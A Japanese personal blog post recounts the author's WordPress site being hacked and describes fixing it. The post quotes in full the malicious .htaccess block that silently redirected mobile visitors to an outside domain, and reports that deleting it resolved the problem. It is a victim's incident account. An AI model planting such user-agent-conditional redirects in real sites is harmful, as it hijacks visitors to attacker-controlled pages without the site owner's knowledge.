みんつのブログ

グルメと旅行がメインのブログです。毎日更新しています。

人気ブログの作り方

当サイトが改ざんされました!(解決済み)

投稿日:2012/12/06


こんにちは、みんつ(@mintz)です。先月中旬頃から、サイトの表示がおかしくなっているのに気がつきました。iPhone版アプリのWordPressにログインでいなかったり、スマートフォンからスマホサイトに飛ぶと、別のページにリンクされていました。当サイトはスマホからのアクセスが多いため、かなり困ってしまいました。

FTPでファイルを入れ替えてとりあえず解決したが・・
WordPressの管理画面で外観→テーマ編集からPHPファイルを見ていたところ、ファイルの先頭にあきらかにおかしい記述がありました。すべてのPHPファイルが書き換えられていたので、一度削除しバックアップ用のファイルに差し替えました。そうするとスマホページは表示されましたが、アプリからはログインできないままでした。

再度スマホページがアクセスできなくなる!
それから数日後、スマホページが別のページに飛んでしまっていることが分かりました。またレンタルサーバーから、あるファイルがウイルスに感染しているおそれがあると指摘され、「Gumblar」というウイルス対策をするよう指示されました。

いくらウイルス対策をしてもスマホサイトにはアクセスできず、Googleウェブマスターからも異常を知らせるアラームもなく、数日が過ぎました。しかしどこかに原因があることは間違いがないのでサイトを調べていたところ、「.htaccess」というファイルにて、リダイレクトされていることが分かりました。

zenbackキーワーズ: Wordpressサイト改ざん「.htaccess」リダイレクトアタック被害の応急処置方法

そこで調べてみると、リダイレクトされていたURLが記載されていました!

RewriteEngine on
RewriteCond %{HTTP_ACCEPT} “text/vnd.wap.wml|application/vnd.wap.xhtml+xml” [NC,OR]
RewriteCond %{HTTP_USER_AGENT} “acs|alav|alca|amoi|audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-” [NC,OR]
RewriteCond %{HTTP_USER_AGENT} “dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-” [NC,OR]
RewriteCond %{HTTP_USER_AGENT} “maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|opwv” [NC,OR]
RewriteCond %{HTTP_USER_AGENT} “palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany” [NC,OR]
RewriteCond %{HTTP_USER_AGENT} “sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo” [NC,OR]
RewriteCond %{HTTP_USER_AGENT} “teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|w3cs|wap-|wapa|wapi” [NC,OR]
RewriteCond %{HTTP_USER_AGENT} “wapp|wapr|webc|winw|winw|xda|xda-” [NC,OR]
RewriteCond %{HTTP_USER_AGENT} “up.browser|up.link|windowssce|iemobile|mini|mmp” [NC,OR]
RewriteCond %{HTTP_USER_AGENT} “symbian|midp|wap|phone|pocket|mobile|pda|psp|PPC|Android” [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://mobile-content.info/direct.php [L,R=302]
php_value error_reporting “E_ALL ^ E_WARNING ^ E_NOTICE”
# BEGIN WordPress
# END WordPress

削除したところスマホサイトも無事表示され、iPhone版WordPressアプリにもログインできました。

正直、かなり悩んだ2週間だった
なかなか解決策が見あたらず、かなり悩んだ2週間でした。先日のハーフマラソンでも、ほとんどブログをどうしようか考えながら走っていまし、定期更新もやめようか、新しいドメインを取り直してやり直そうかとも考えました。でもここで定期更新を止めたら、ハッカーにも自分にも負けたことになるし、絶対に止めたくなかったです。

なんとか上記の手順で元通りになったときはとても嬉しかったです。なおファイルを入れ替える課程で画像のリンク切れなど、お見苦しい点があると思いますが、修正していきたいと思っています。

本日も最後まで読んでいただき、ありがとうございました。RSS登録していただけると嬉しいです!

-人気ブログの作り方

執筆者:


comment

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

関連記事

周氏蝦捲(安平店)

2016年1月の人気記事ランキング

こんにちは、お出かけ好きのみんつ(@mintz)です。1月の人気記事のまとめです。1月はほぼ台湾旅行の記事でしたが、やはりアクセス上位は日本人に人気のスポットでした! 関連

【御礼】初めてアフリエイトで成果報酬がありました!

こんにちは、みんつ(@mintz)です。平日、毎日ブログを更新するようになって、もうすぐ2ヶ月です。今日もブログで商品を紹介しようと楽天アフリエイトを見ていたところ、成果報酬が発生していました。ありが …

ブログを一年間、毎日投稿し続けて感じたこと.

こんにちは、みんつ(@mintz)です。今日でブログを毎日更新しはじめて、一年が経ちました。そこで毎日投稿をし続けて感じたことをまとめておきたいと思います。 関連

2012年11月の人気記事ランキング

こんにちは、みんつ(@mintz)です。遅くなりましたが11月の人気記事ランキングです。いよいよ東京マラソンが近づいてきたということもあり、ジョギングネタが多い月でしたが、1位は意外な記事でした。 関 …

2013年のまとめと、2014年にやりたいこと

こんにちは、みんつ(@mintz)です。今年最後の投稿となりました。毎年、年末の恒例になりつつありますが今年も一年の振り返りと来年やりたいことを書いてみたいと思います。去年は2014年やりたいことを3 …

サイト内検索